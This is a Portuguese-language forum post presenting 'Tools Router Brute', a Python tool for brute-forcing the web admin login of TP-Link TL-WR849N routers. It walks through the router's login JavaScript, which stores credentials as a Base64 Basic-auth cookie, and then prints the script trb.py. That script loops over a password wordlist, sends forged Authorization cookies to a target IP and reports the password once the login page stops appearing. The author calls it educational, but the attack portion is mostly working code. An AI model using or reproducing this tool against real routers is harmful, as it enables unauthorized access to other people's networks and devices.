Jump to content
Walderlan Sena

Tools Router Brute - Script em Python para realizar brute force em roteadores TP-LINKs

 Read 1 minute

Recommended Posts

 Read 1 minute

Tools Router Brute

 

Ferramenta para executar ataque de força bruta em roteadores TPLink.

Download código completo: https://github.com/WalderlanSena/toolsrouterbrute

Modelo Roteador Wireless N 300Mbps TL-WR849N

model1.thumb.jpg.44c2b6c92f6bea38d2afc717a5d30707.jpg

  • Velocidade wireless de 300Mbps ideal para aplicações sensíveis a interrupções, como streaming de vídeo em HD
  • Fácil configuração da criptografia de segurança da rede wireless com um simples toque no botão WPS Controle de banda baseado em IP permite aos administradores determinarem que largura de banda será alocada para cada computador
  • WDS wireless bridge fornece perfeita ponte para expandir a rede wireless.
  • Site: https://www.tp-link.com/br

 

Funcionamento da Autenticação do TP-Link - TL-WR849N

  • Capturando url atual e subscrevendo o valor para o link definido no replace e redirecionando o usuário.
  • Criando uma variável isLocker e atribuindo o valor false a mesma.
  • Deletando o cookie Authorization, vulgo responsável pela a autenticação.
var url = window.location.href;

if (url.indexOf("tplinklogin.net") >= 0)
{
    url = url.replace("tplinklogin.net", "tplinkwifi.net");
    window.location = url;
}

var isLocked = false;

deleteCookie("Authorization");

Função responsável implementar a hash base64, que é utilizada para setar o cookie de autenticação.

function Base64Encoding(input) 
{
	var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
	var output = "";
	var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
	var i = 0;
	input = utf8_encode(input);
	while (i < input.length) 
	{
		chr1 = input.charCodeAt(i++);
		chr2 = input.charCodeAt(i++);
		chr3 = input.charCodeAt(i++);
		enc1 = chr1 >> 2;
		enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
		enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
		enc4 = chr3 & 63;
		
		if (isNaN(chr2)) 
		{
			enc3 = enc4 = 64;
		} 
		else if (isNaN(chr3)) 
		{
			enc4 = 64;
		}
		output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4);
	}
	return output;
}

Função que monitora o clique de login e captura os dados informado pelo usuário

function PCWin(event)
{
	if (event.keyCode == 13)
	{
		PCSubWin();
	}
}

function PCSubWin()
{	
    // Verifica se o usúario não está bloqueado por alguns segundos
    if (isLocked == true)
     {
	return;
     }
    // Criando uma variavel que receberá o base64 referente a autenticação
    // E criando duas variavels para receber o userName e o password
    var auth;
    var password = $("pcPassword").value;
    var userName = $("userName").value;
    
    // Concatena a palavra "Basic" com a hash base64 de userName com ":" e o password
    auth = "Basic "+Base64Encoding(userName+":"+password);
    // Atribui o valor ao Cookie do navegador com a chave Authorization e com o auth como conteúdo
    document.cookie = "Authorization=" + auth;
    // Recarrega a página
    window.location.reload();
}

Entendendo o funcionamento do nosso script que chamei de trb.py

def main():
    wordlist = open(sys.argv[3], 'r')
    count = 0
    for i in wordlist:

        login = str(sys.argv[1])
        senha = i.rstrip()
        auth  = "Basic "

        authEncode = auth+base64.b64encode(login+':'+senha)

        cookie = {"Authorization": authEncode}

        response = r.get('http://'+sys.argv[2], cookies=cookie)

        if response.content.count('id="userName"') != 1:
            os.system('setterm -cursor on')
            print('\n\tPassword Found =====> ' + senha)
            exit(0)
        else:
            os.system("clear")
            splash()
            count = count + 1
            print('\t[ '+ str(count) + ' ] Password not found ===> ' + senha)	

Primeiramente lemos a wordlist (Lista de palavra possíveis para a senha do roteador.) e o login passados via parâmetros  no script. Posteriormente fazendo a encriptação do ambos os dados para base64, montando assim o cookie e enviando para o ip do roteador.

Capturamos o retorno e verificamos a palavra chave retornada após o login.

O script é bem simples. Servindo para compreender como as ferramentas mais complexas realizam tais operações !

 

Mas lembre-se, "Hacker e como escrever uma redação, você apenas tem um tema e cada um vai pensar em uma solução diferente."

 

Grande abraço !

Edited by Walderlan Sena
carácter invalido
  • Curtir 1

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...